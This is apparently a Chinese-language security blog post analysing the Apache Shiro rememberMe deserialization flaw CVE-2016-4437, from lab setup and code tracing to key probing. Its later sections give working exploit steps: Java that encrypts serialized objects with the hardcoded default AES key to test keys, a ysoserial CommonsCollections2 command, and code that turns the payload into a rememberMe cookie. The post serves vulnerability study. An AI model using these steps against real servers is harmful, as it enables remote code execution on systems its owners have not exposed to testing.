CVE-2016-4437 Shiro反序列化分析
环境搭建
https://github.com/apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip
相关目录结构
本次搭建环境需要的包为:samples->web
相关依赖
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
完成后配置tomcat启动即可
勾选RememberMe后登陆成功返回头会存在Set-Cookie: rememberMe…
简单了解内部结构
可以看到每个Subject主体都会通过SecurityManager进行管理
- Subject:主体,可以看到主体可以是任何可以与应用交互的“用户”
- SecurityManager:相当于SpringMVC中的DispatcherServlet或者Struts2中的FilterDispatcher;是Shiro的心脏;所有具体的交互都通过SecurityManager进行控制;它管理着所有Subject、且负责进行认证和授权、及会话、缓存的管理。
- Authenticator:认证器,负责主体认证的,这是一个扩展点,如果用户觉得Shiro默认的不好,可以自定义实现;其需要认证策略(Authentication Strategy),即什么情况下算用户认证通过了
- Authrizer:授权器,或者访问控制器,用来决定主体是否有权限进行相应的操作;即控制着用户能访问应用中的哪些功能
- Realm:可以有1个或多个Realm,可以认为是安全实体数据源,即用于获取安全实体的;可以是JDBC实现,也可以是LDAP实现,或者内存实现等等;由用户提供;注意:Shiro不知道你的用户/权限存储在哪及以何种格式存储;所以我们一般在应用中都需要实现自己的Realm
- SessionManager:如果写过Servlet就应该知道Session的概念,Session呢需要有人去管理它的生命周期,这个组件就是SessionManager;而Shiro并不仅仅可以用在Web环境,也可以用在如普通的JavaSE环境、EJB等环境;所有呢,Shiro就抽象了一个自己的Session来管理主体与应用之间交互的数据
- SessionDAO:DAO大家都用过,数据访问对象,用于会话的CRUD,比如我们想把Session保存到数据库,那么可以实现自己的SessionDAO,通过如JDBC写到数据库;比如想把Session放到Memcached中,可以实现自己的Memcached SessionDAO;另外SessionDAO中可以使用Cache进行缓存,以提高性能
- CacheManager:缓存控制器,来管理如用户、角色、权限等的缓存的;因为这些数据基本上很少去改变,放到缓存中后可以提高访问的性能
- Cryptography:密码模块,Shiro提高了一些常见的加密组件用于如密码加密/解密。
利用链分析
全局搜索shiro相关依赖发现多处readobject反序列化特征
跟踪链发现org/apache/shiro/io/DefaultSerializer.java
这里的反序列化数据可控且容易触发
分析调用链发现,程序会先通过getRememberedSerializedIdentity
函数获取cookie中rememberMe参数内容并进行base64解码
获取到base64解码后的内容后会通过decrypt函数对数据进行解密来获取序列化数据
从代码可以看出,程序会先调用getDecryptionCipherKey
获取一个加密密钥
通过跟踪setDecryptionCipherKey
发现EncryptionCipherKey
和DecryptionCipherKey
是相同的
org/apache/shiro/mgt/AbstractRememberMeManager.java->setCipherKey()
继续跟调用链发现加解密密钥是被写在程序中
调试获取程序使用AES CBC方式进行加解密
org/apache/shiro/crypto/JcaCipherService.java
最后对解密后的数据进行反序列化导致命令执行
org/apache/shiro/io/DefaultSerializer.java
到这里漏洞的利用链已经很明确了:获取Cookie中的rememberMe参数内容,base64解密后进行AES解密,最后将解密出来的数据进行反序列化后触发命令执行
爆破Shiro加密密钥
通过上面的分析可知,若要成功触发反序列化,需要正确的加密解密密钥进行对恶意序列化数据进行加密。利用Shiro反序列化失败返回头存在deleteMe的特征可对加解密密钥进行爆破。
可对PrincipalCollection
接口的具体实现类进行序列化来探测正确的加解密密钥
org/apache/shiro/mgt/AbstractRememberMeManager.java
查看该接口的具体实现类
获取SimplePrincipalCollection
的序列化数据并base64(base64的原因为方便后面对数据进行加密)
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(simplePrincipalCollection);
System.out.println(Base64.encode(byteArrayOutputStream.toByteArray()));
对上面生成的序列化数据进行加密
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
System.out.println(aes.encrypt(Base64.decode("rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="),key));
返回响应头里没有rememberMe=deleteMe
证明加密密钥是正确的
加密密钥错误情况如下(存在rememberMe=deleteMe
特征)
命令执行
利用ysoserial生成cc2链打开计算器的payload,并将内容保存到payload.bin
java -jar ysoserial.jar CommonsCollections2 "open /System/Applications/Calculator.app" > payload.bin
相关代码
public static void main(String[] args) throws Exception {
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
String path = "payload.bin";
ByteSource ciphertext = aes.encrypt(getBytes(path), key);
System.out.println(ciphertext.toString());
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}